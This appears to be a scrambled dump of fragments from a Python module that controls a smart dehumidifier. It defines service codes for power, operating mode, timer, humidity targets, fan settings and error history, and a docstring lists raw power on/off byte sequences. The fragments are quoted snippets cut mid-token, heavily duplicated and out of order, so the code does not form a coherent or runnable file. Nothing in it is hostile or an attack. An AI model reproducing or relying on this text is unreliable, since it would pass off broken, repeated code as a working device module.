DeviceFanLevelService(DeviceFeatureLevelService): pass # FAN_LEVEL_RW =", "DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW = 0x04 pass class DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW = 0x05 pass", "return __name__ class DevicePowerService(DeviceCommonOnOffService): \"\"\" status off: 06,04,00,00,00,02 status on: 06,04,00,00,01,03 power on:", "class DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW = 0x1d pass class DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R = 0x1e", "# POWER_RW = 0x00 class DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW = 0x01 class ParamCode(BaseObject): AUTO", "= 0x1a pass class DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R = 0x1b pass class DeviceOpPowerWattService(DeviceUint16Service): #", "0x0d pass class DeviceFanLevelService(DeviceFeatureLevelService): pass # FAN_LEVEL_RW = 0x0e class DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R", "pass class DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW = 0x13 pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW =", "= 0x01 pass class DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R = 0x12 pass class DeviceDevMildewService(DeviceCommonOnOffService): #", "hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW = 0x03 class ParamCode(BaseObject): HUMI_40 = 40 HUMI_45", "logging.getLogger(__name__) class Dehumidifier(GeneralDevice): dev_type = {'id': DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'} class ServiceCode(BaseObject): POWER_RW =", "06,04,00,00,01,03 power on: 06,04,80,00,01,83 power off: 06,04,80,00,00,82 \"\"\" # POWER_RW = 0x00 class", "DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW = 0x16 pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW = 0x17 pass", "pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW = 0x08 pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW =", "logger = logging.getLogger(__name__) class Dehumidifier(GeneralDevice): dev_type = {'id': DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'} class ServiceCode(BaseObject):", "DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R = 0x0a class ParamCode(BaseObject): NORMAL = 0x00 FULL = 0x01", "# FAN_LEVEL_RW = 0x0e class DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R = 0x0f class ParamCode(BaseObject): NORMAL", "2 HR_4 = 4 HR_6 = 6 HR_8 = 8 HR_10 = 10", "class DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW = 0x1c pass class DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW = 0x1d", "= 40 HUMI_45 = 45 HUMI_50 = 50 HUMI_55 = 55 HUMI_60 =", "= 0x16 REMOTE_CTRL_LOCK_RW = 0x17 SAA_CTRL_AUDIO_RW = 0x18 OP_CURRENT_R = 0x19 OP_VOLTAGE_R =", "= 0x00 BUTTON = 0x01 WATER_FULL_BUTTON = 0x02 pass class DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R", "= 2 HR_4 = 4 HR_6 = 6 HR_8 = 8 HR_10 =", "HUMI_65 = 65 HUMI_70 = 70 HUMI_75 = 75 @classmethod def text(cls, code):", "KEYPAD_LOCK_RW = 0x16 REMOTE_CTRL_LOCK_RW = 0x17 SAA_CTRL_AUDIO_RW = 0x18 OP_CURRENT_R = 0x19 OP_VOLTAGE_R", "pass class DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW = 0x15 pass class DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW =", "DISPLAY_ERR_R = 0x12 DEV_MILDEW_RW = 0x13 HUMIDITY_HIGH_NOTIFY_RW = 0x14 HUMIDITY_HIGH_CFG_RW = 0x15 KEYPAD_LOCK_RW", "65 HUMI_70 = 70 HUMI_75 = 75 @classmethod def text(cls, code): return '{}", "@classmethod def text(cls, code): return '{} hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW = 0x03", "class ParamCode(BaseObject): NORMAL = 0x00 FULL = 0x01 pass class DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW", "# HUMIDITY_HIGH_CFG_RW = 0x15 pass class DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW = 0x16 pass class", "0x17 pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW = 0x18 pass class DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R", "0x1a OP_POWER_FACTOR_R = 0x1b OP_POWER_WATT_RW = 0x1c TOTAL_WATT_RW = 0x1d ERR_HISTORY_1_R = 0x1e", "= 0x0e SIDE_FAN_R = 0x0f AUDIO_RW = 0x10 DEFROST_DISPLAY_R = 0x11 DISPLAY_ERR_R =", "= 3 AIR_CLEAN = 4 DEV_MILDEW = 5 FAN_ONLY = 6 SUPER_DRY =", "0x15 pass class DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW = 0x16 pass class DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW", "= 0x14 pass class DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW = 0x15 pass class DeviceKeypadLockService(DeviceCommonOnOffService): #", "= 0x03 class ParamCode(BaseObject): HUMI_40 = 40 HUMI_45 = 45 HUMI_50 = 50", "= 65 HUMI_70 = 70 HUMI_75 = 75 @classmethod def text(cls, code): return", "# FAN_DIRECTION_LEVEL_RW = 0x09 pass class DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R = 0x0a class ParamCode(BaseObject):", "= 0x0b MOOD_LED_RW = 0x0c AIR_CLEAN_MODE_RW = 0x0d FAN_LEVEL_RW = 0x0e SIDE_FAN_R =", "0x08 FAN_DIRECTION_LEVEL_RW = 0x09 WATER_FULL_ALARM_R = 0x0a FILTER_CLEAN_NOTIFY_RW = 0x0b MOOD_LED_RW = 0x0c", "6 SUPER_DRY = 7 class DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW = 0x02 class ParamCode(BaseObject): HR_1", "class DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW = 0x0c pass class DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW = 0x0d", "super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def module_name(cls): return __name__ class DevicePowerService(DeviceCommonOnOffService): \"\"\" status off:", "dev_type = {'id': DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'} class ServiceCode(BaseObject): POWER_RW = 0x00 OP_MODE_RW =", "= 0x17 SAA_CTRL_AUDIO_RW = 0x18 OP_CURRENT_R = 0x19 OP_VOLTAGE_R = 0x1a OP_POWER_FACTOR_R =", "ERR_HISTORY_2_R = 0x1f ERR_HISTORY_3_R = 0x20 ERR_HISTORY_4_R = 0x21 ERR_HISTORY_5_R = 0x22 #", "DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW = 0x09 pass class DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R = 0x0a class", "= 0x04 DRY_CLOTHE_LEVEL_RW = 0x05 TEMPERATURE_R = 0x06 HUMIDITY_R = 0x07 FAN_DIRECTION_AUTO_RW =", "class DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R = 0x0a class ParamCode(BaseObject): NORMAL = 0x00 FULL =", "class DeviceOpVoltageRService(DeviceUint16Service): # OP_VOLTAGE_R = 0x1a pass class DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R = 0x1b", "class DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R = 0x11 class ParamCode(BaseObject): NORMAL = 0x00 DEFROST =", "pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW = 0x18 pass class DeviceOpCurrentRService(DeviceUint16Service): # OP_CURRENT_R =", "= 0x0e class DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R = 0x0f class ParamCode(BaseObject): NORMAL = 0x00", "class DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R = 0x07 pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW = 0x08", "70 HUMI_75 = 75 @classmethod def text(cls, code): return '{} %'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService):", "45 HUMI_50 = 50 HUMI_55 = 55 HUMI_60 = 60 HUMI_65 = 65", "pass class DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R = 0x11 class ParamCode(BaseObject): NORMAL = 0x00 DEFROST", "off: 06,04,80,00,00,82 \"\"\" # POWER_RW = 0x00 class DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW = 0x01", "= 0x07 pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW = 0x08 pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService): #", "pass class DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R = 0x06 pass class DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R =", "0x00 OP_MODE_RW = 0x01 OP_TIMER_RW = 0x02 HUMIDITY_CFG_RW = 0x03 DEHUMIDIFIER_LEVEL_RW = 0x04", "\"\"\" status off: 06,04,00,00,00,02 status on: 06,04,00,00,01,03 power on: 06,04,80,00,01,83 power off: 06,04,80,00,00,82", "= 0x03 DEHUMIDIFIER_LEVEL_RW = 0x04 DRY_CLOTHE_LEVEL_RW = 0x05 TEMPERATURE_R = 0x06 HUMIDITY_R =", "TEMPERATURE_R = 0x06 pass class DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R = 0x07 pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService):", "DEHUMIDIFIER_LEVEL_RW = 0x04 DRY_CLOTHE_LEVEL_RW = 0x05 TEMPERATURE_R = 0x06 HUMIDITY_R = 0x07 FAN_DIRECTION_AUTO_RW", "pass class DeviceAudioService(DeviceEnum16Service): # AUDIO_RW = 0x10 class ParamCode(BaseObject): QUIET = 0x00 BUTTON", "= 0x01 OP_TIMER_RW = 0x02 HUMIDITY_CFG_RW = 0x03 DEHUMIDIFIER_LEVEL_RW = 0x04 DRY_CLOTHE_LEVEL_RW =", "FAN_DIRECTION_LEVEL_RW = 0x09 pass class DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R = 0x0a class ParamCode(BaseObject): NORMAL", "0x17 SAA_CTRL_AUDIO_RW = 0x18 OP_CURRENT_R = 0x19 OP_VOLTAGE_R = 0x1a OP_POWER_FACTOR_R = 0x1b", "OP_TIMER_RW = 0x02 class ParamCode(BaseObject): HR_1 = 1 HR_2 = 2 HR_4 =", "= 0x11 class ParamCode(BaseObject): NORMAL = 0x00 DEFROST = 0x01 pass class DeviceDisplayErrRService(DeviceEnum16BitService):", "DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R = 0x21 pass class DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R = 0x22 pass", "AIR_CLEAN_MODE_RW = 0x0d FAN_LEVEL_RW = 0x0e SIDE_FAN_R = 0x0f AUDIO_RW = 0x10 DEFROST_DISPLAY_R", "0x14 HUMIDITY_HIGH_CFG_RW = 0x15 KEYPAD_LOCK_RW = 0x16 REMOTE_CTRL_LOCK_RW = 0x17 SAA_CTRL_AUDIO_RW = 0x18", "DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW = 0x01 class ParamCode(BaseObject): AUTO = 0 CFG_DEHUMIDIFIER = 1", "= 0x10 DEFROST_DISPLAY_R = 0x11 DISPLAY_ERR_R = 0x12 DEV_MILDEW_RW = 0x13 HUMIDITY_HIGH_NOTIFY_RW =", "FAN_DIRECTION_LEVEL_RW = 0x09 WATER_FULL_ALARM_R = 0x0a FILTER_CLEAN_NOTIFY_RW = 0x0b MOOD_LED_RW = 0x0c AIR_CLEAN_MODE_RW", "ERR_HISTORY_3_R = 0x20 pass class DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R = 0x21 pass class DeviceErrHistory5RService(DeviceEnum16BitService):", "DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW = 0x14 pass class DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW = 0x15 pass", "class DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R = 0x20 pass class DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R = 0x21", "0x00 DEFROST = 0x01 pass class DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R = 0x12 pass class", "class DevicePowerService(DeviceCommonOnOffService): \"\"\" status off: 06,04,00,00,00,02 status on: 06,04,00,00,01,03 power on: 06,04,80,00,01,83 power", "= 0x09 WATER_FULL_ALARM_R = 0x0a FILTER_CLEAN_NOTIFY_RW = 0x0b MOOD_LED_RW = 0x0c AIR_CLEAN_MODE_RW =", "= 0x0a FILTER_CLEAN_NOTIFY_RW = 0x0b MOOD_LED_RW = 0x0c AIR_CLEAN_MODE_RW = 0x0d FAN_LEVEL_RW =", "= 45 HUMI_50 = 50 HUMI_55 = 55 HUMI_60 = 60 HUMI_65 =", "off: 06,04,00,00,00,02 status on: 06,04,00,00,01,03 power on: 06,04,80,00,01,83 power off: 06,04,80,00,00,82 \"\"\" #", "= 0x00 OP_MODE_RW = 0x01 OP_TIMER_RW = 0x02 HUMIDITY_CFG_RW = 0x03 DEHUMIDIFIER_LEVEL_RW =", "# FAN_DIRECTION_AUTO_RW = 0x08 pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW = 0x09 pass class", "pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService): # FAN_DIRECTION_LEVEL_RW = 0x09 pass class DeviceWaterFullAlarmRService(DeviceEnum16Service): # WATER_FULL_ALARM_R =", "DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R = 0x1e pass class DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R = 0x1f pass", "DRY_CLOTHE = 3 AIR_CLEAN = 4 DEV_MILDEW = 5 FAN_ONLY = 6 SUPER_DRY", "OP_POWER_WATT_RW = 0x1c TOTAL_WATT_RW = 0x1d ERR_HISTORY_1_R = 0x1e ERR_HISTORY_2_R = 0x1f ERR_HISTORY_3_R", "# TOTAL_WATT_RW = 0x1d pass class DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R = 0x1e pass class", "class DeviceRemoteCtrlLockService(DeviceEnum16BitService): # REMOTE_CTRL_LOCK_RW = 0x17 pass class DeviceSaaCtrlAudioService(DeviceCommonOnOffService): # SAA_CTRL_AUDIO_RW = 0x18", "'%(asctime)s [%(levelname)s] %(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT) dev_cls = Dehumidifier # dev_cls.print_service_cls_template() dev_obj =", "= 0x14 HUMIDITY_HIGH_CFG_RW = 0x15 KEYPAD_LOCK_RW = 0x16 REMOTE_CTRL_LOCK_RW = 0x17 SAA_CTRL_AUDIO_RW =", "= 5 FAN_ONLY = 6 SUPER_DRY = 7 class DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW =", "= 0x50 # RESERVED = 0x7f def __init__(self): super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def", "class DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R = 0x06 pass class DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R = 0x07", "0x06 pass class DeviceHumidityRService(DeviceUint8Service): # HUMIDITY_R = 0x07 pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW", "FILTER_CLEAN_NOTIFY_RW = 0x0b class ParamCode(BaseObject): NORMAL = 0x00 CLEAN_NEED = 0x01 pass class", "0x02 HUMIDITY_CFG_RW = 0x03 DEHUMIDIFIER_LEVEL_RW = 0x04 DRY_CLOTHE_LEVEL_RW = 0x05 TEMPERATURE_R = 0x06", "HUMIDITY_HIGH_CFG_RW = 0x15 KEYPAD_LOCK_RW = 0x16 REMOTE_CTRL_LOCK_RW = 0x17 SAA_CTRL_AUDIO_RW = 0x18 OP_CURRENT_R", "= 0x15 KEYPAD_LOCK_RW = 0x16 REMOTE_CTRL_LOCK_RW = 0x17 SAA_CTRL_AUDIO_RW = 0x18 OP_CURRENT_R =", "= 0 CFG_DEHUMIDIFIER = 1 CONTINUE_DEHUMIDIFIER = 2 DRY_CLOTHE = 3 AIR_CLEAN =", "= 0x0f AUDIO_RW = 0x10 DEFROST_DISPLAY_R = 0x11 DISPLAY_ERR_R = 0x12 DEV_MILDEW_RW =", "0x1c TOTAL_WATT_RW = 0x1d ERR_HISTORY_1_R = 0x1e ERR_HISTORY_2_R = 0x1f ERR_HISTORY_3_R = 0x20", "DRY_CLOTHE_LEVEL_RW = 0x05 TEMPERATURE_R = 0x06 HUMIDITY_R = 0x07 FAN_DIRECTION_AUTO_RW = 0x08 FAN_DIRECTION_LEVEL_RW", "= 0x00 CLEAN_NEED = 0x01 pass class DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW = 0x0c pass", "0x00 BUTTON = 0x01 WATER_FULL_BUTTON = 0x02 pass class DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R =", "class DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW = 0x15 pass class DeviceKeypadLockService(DeviceCommonOnOffService): # KEYPAD_LOCK_RW = 0x16", "= {'id': DeviceTypeCode.DEHUMIDIFIER, 'name': 'DEHUMIDIFIER'} class ServiceCode(BaseObject): POWER_RW = 0x00 OP_MODE_RW = 0x01", "0x00 SIDE = 0x01 pass class DeviceAudioService(DeviceEnum16Service): # AUDIO_RW = 0x10 class ParamCode(BaseObject):", "FAN_ONLY = 6 SUPER_DRY = 7 class DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW = 0x02 class", "0x0a FILTER_CLEAN_NOTIFY_RW = 0x0b MOOD_LED_RW = 0x0c AIR_CLEAN_MODE_RW = 0x0d FAN_LEVEL_RW = 0x0e", "0x20 pass class DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R = 0x21 pass class DeviceErrHistory5RService(DeviceEnum16BitService): # ERR_HISTORY_5_R", "class DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW = 0x02 class ParamCode(BaseObject): HR_1 = 1 HR_2 =", "class ParamCode(BaseObject): NORMAL = 0x00 SIDE = 0x01 pass class DeviceAudioService(DeviceEnum16Service): # AUDIO_RW", "WATER_FULL_BUTTON = 0x02 pass class DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R = 0x11 class ParamCode(BaseObject): NORMAL", "# OP_POWER_FACTOR_R = 0x1b pass class DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW = 0x1c pass class", "= 0x20 pass class DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R = 0x21 pass class DeviceErrHistory5RService(DeviceEnum16BitService): #", "\"\"\" # POWER_RW = 0x00 class DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW = 0x01 class ParamCode(BaseObject):", "# HUMIDITY_HIGH_NOTIFY_RW = 0x14 pass class DeviceHumidityHighCfgService(DeviceUint8Service): # HUMIDITY_HIGH_CFG_RW = 0x15 pass class", "HR_2 = 2 HR_4 = 4 HR_6 = 6 HR_8 = 8 HR_10", "return '{} %'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW = 0x04 pass class DeviceDryClotheLevelService(DeviceFeatureLevelService): #", "class DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R = 0x1e pass class DeviceErrHistory2RService(DeviceEnum16BitService): # ERR_HISTORY_2_R = 0x1f", "[%(levelname)s] %(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT) dev_cls = Dehumidifier # dev_cls.print_service_cls_template() dev_obj = dev_cls()", "DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW = 0x13 pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW = 0x14 pass", "'{} %'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW = 0x04 pass class DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW", "class ParamCode(BaseObject): NORMAL = 0x00 CLEAN_NEED = 0x01 pass class DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW", "0x18 OP_CURRENT_R = 0x19 OP_VOLTAGE_R = 0x1a OP_POWER_FACTOR_R = 0x1b OP_POWER_WATT_RW = 0x1c", "0x07 FAN_DIRECTION_AUTO_RW = 0x08 FAN_DIRECTION_LEVEL_RW = 0x09 WATER_FULL_ALARM_R = 0x0a FILTER_CLEAN_NOTIFY_RW = 0x0b", "@classmethod def text(cls, code): return '{} %'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW = 0x04", "= 0x0f class ParamCode(BaseObject): NORMAL = 0x00 SIDE = 0x01 pass class DeviceAudioService(DeviceEnum16Service):", "status on: 06,04,00,00,01,03 power on: 06,04,80,00,01,83 power off: 06,04,80,00,00,82 \"\"\" # POWER_RW =", "%'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW = 0x04 pass class DeviceDryClotheLevelService(DeviceFeatureLevelService): # DRY_CLOTHE_LEVEL_RW =", "# AUDIO_RW = 0x10 class ParamCode(BaseObject): QUIET = 0x00 BUTTON = 0x01 WATER_FULL_BUTTON", "SIDE_FAN_R = 0x0f class ParamCode(BaseObject): NORMAL = 0x00 SIDE = 0x01 pass class", "pass class DeviceMoodLedService(DeviceCommonOnOffService): # MOOD_LED_RW = 0x0c pass class DeviceAirCleanModeService(DeviceFeatureLevelService): # AIR_CLEAN_MODE_RW =", "= 0x01 pass class DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW = 0x0b class ParamCode(BaseObject): NORMAL =", "= 0x05 TEMPERATURE_R = 0x06 HUMIDITY_R = 0x07 FAN_DIRECTION_AUTO_RW = 0x08 FAN_DIRECTION_LEVEL_RW =", "= 0x22 pass if __name__ == '__main__': FORMAT = '%(asctime)s [%(levelname)s] %(name)s: %(message)s'", "__init__(self): super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def module_name(cls): return __name__ class DevicePowerService(DeviceCommonOnOffService): \"\"\" status", "= 0x12 DEV_MILDEW_RW = 0x13 HUMIDITY_HIGH_NOTIFY_RW = 0x14 HUMIDITY_HIGH_CFG_RW = 0x15 KEYPAD_LOCK_RW =", "OP_VOLTAGE_R = 0x1a pass class DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R = 0x1b pass class DeviceOpPowerWattService(DeviceUint16Service):", "= 0x1c TOTAL_WATT_RW = 0x1d ERR_HISTORY_1_R = 0x1e ERR_HISTORY_2_R = 0x1f ERR_HISTORY_3_R =", "06,04,80,00,01,83 power off: 06,04,80,00,00,82 \"\"\" # POWER_RW = 0x00 class DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW", "0x21 ERR_HISTORY_5_R = 0x22 # ENG_MODE = 0x50 # RESERVED = 0x7f def", "HUMIDITY_R = 0x07 pass class DeviceFanDirectionAutoService(DeviceCommonOnOffService): # FAN_DIRECTION_AUTO_RW = 0x08 pass class DeviceFanDirectionLevelService(DeviceFeatureLevelService):", "class ServiceCode(BaseObject): POWER_RW = 0x00 OP_MODE_RW = 0x01 OP_TIMER_RW = 0x02 HUMIDITY_CFG_RW =", "0x12 pass class DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW = 0x13 pass class DeviceHumidityHighNotifyService(DeviceCommonOnOffService): # HUMIDITY_HIGH_NOTIFY_RW", "DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R = 0x11 class ParamCode(BaseObject): NORMAL = 0x00 DEFROST = 0x01", "= 12 @classmethod def text(cls, code): return '{} hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW", "FAN_LEVEL_RW = 0x0e class DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R = 0x0f class ParamCode(BaseObject): NORMAL =", "class DeviceOpPowerFactorRService(DeviceUint16Service): # OP_POWER_FACTOR_R = 0x1b pass class DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW = 0x1c", "= 1 CONTINUE_DEHUMIDIFIER = 2 DRY_CLOTHE = 3 AIR_CLEAN = 4 DEV_MILDEW =", "DeviceErrHistory3RService(DeviceEnum16BitService): # ERR_HISTORY_3_R = 0x20 pass class DeviceErrHistory4RService(DeviceEnum16BitService): # ERR_HISTORY_4_R = 0x21 pass", "0x13 HUMIDITY_HIGH_NOTIFY_RW = 0x14 HUMIDITY_HIGH_CFG_RW = 0x15 KEYPAD_LOCK_RW = 0x16 REMOTE_CTRL_LOCK_RW = 0x17", "# RESERVED = 0x7f def __init__(self): super(Dehumidifier, self).__init__() self.set_dev_type(DeviceTypeCode.DEHUMIDIFIER) @classmethod def module_name(cls): return", "12 @classmethod def text(cls, code): return '{} hr'.format(code) class DeviceHumidityCfgService(DeviceUint8Service): # HUMIDITY_CFG_RW =", "60 HUMI_65 = 65 HUMI_70 = 70 HUMI_75 = 75 @classmethod def text(cls,", "pass class DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R = 0x12 pass class DeviceDevMildewService(DeviceCommonOnOffService): # DEV_MILDEW_RW =", "HUMI_75 = 75 @classmethod def text(cls, code): return '{} %'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService): #", "06,04,80,00,00,82 \"\"\" # POWER_RW = 0x00 class DeviceOpModeService(DeviceEnum16Service): # OP_MODE_RW = 0x01 class", "0x02 pass class DeviceDefrostDisplayRService(DeviceEnum16Service): # DEFROST_DISPLAY_R = 0x11 class ParamCode(BaseObject): NORMAL = 0x00", "NORMAL = 0x00 DEFROST = 0x01 pass class DeviceDisplayErrRService(DeviceEnum16BitService): # DISPLAY_ERR_R = 0x12", "0x03 DEHUMIDIFIER_LEVEL_RW = 0x04 DRY_CLOTHE_LEVEL_RW = 0x05 TEMPERATURE_R = 0x06 HUMIDITY_R = 0x07", "7 class DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW = 0x02 class ParamCode(BaseObject): HR_1 = 1 HR_2", "DRY_CLOTHE_LEVEL_RW = 0x05 pass class DeviceTemperatureRService(DeviceInt8Service): # TEMPERATURE_R = 0x06 pass class DeviceHumidityRService(DeviceUint8Service):", "text(cls, code): return '{} %'.format(code) class DeviceDehumidifierLevelService(DeviceFeatureLevelService): # DEHUMIDIFIER_LEVEL_RW = 0x04 pass class", "TOTAL_WATT_RW = 0x1d pass class DeviceErrHistory1RService(DeviceEnum16BitService): # ERR_HISTORY_1_R = 0x1e pass class DeviceErrHistory2RService(DeviceEnum16BitService):", "0x11 class ParamCode(BaseObject): NORMAL = 0x00 DEFROST = 0x01 pass class DeviceDisplayErrRService(DeviceEnum16BitService): #", "class ParamCode(BaseObject): HUMI_40 = 40 HUMI_45 = 45 HUMI_50 = 50 HUMI_55 =", "AUDIO_RW = 0x10 class ParamCode(BaseObject): QUIET = 0x00 BUTTON = 0x01 WATER_FULL_BUTTON =", "__name__ == '__main__': FORMAT = '%(asctime)s [%(levelname)s] %(name)s: %(message)s' logging.basicConfig(level=logging.DEBUG, format=FORMAT) dev_cls =", "OP_MODE_RW = 0x01 OP_TIMER_RW = 0x02 HUMIDITY_CFG_RW = 0x03 DEHUMIDIFIER_LEVEL_RW = 0x04 DRY_CLOTHE_LEVEL_RW", "5 FAN_ONLY = 6 SUPER_DRY = 7 class DeviceOpTimerService(DeviceUint8Service): # OP_TIMER_RW = 0x02", "= 0x00 FULL = 0x01 pass class DeviceFilterCleanNotifyService(DeviceEnum16Service): # FILTER_CLEAN_NOTIFY_RW = 0x0b class", "DeviceOpPowerWattService(DeviceUint16Service): # OP_POWER_WATT_RW = 0x1c pass class DeviceTotalWattService(DeviceUint16Service): # TOTAL_WATT_RW = 0x1d pass", "AUDIO_RW = 0x10 DEFROST_DISPLAY_R = 0x11 DISPLAY_ERR_R = 0x12 DEV_MILDEW_RW = 0x13 HUMIDITY_HIGH_NOTIFY_RW", "class DeviceSideFanRService(DeviceEnum16Service): # SIDE_FAN_R = 0x0f class ParamCode(BaseObject): NORMAL = 0x00 SIDE 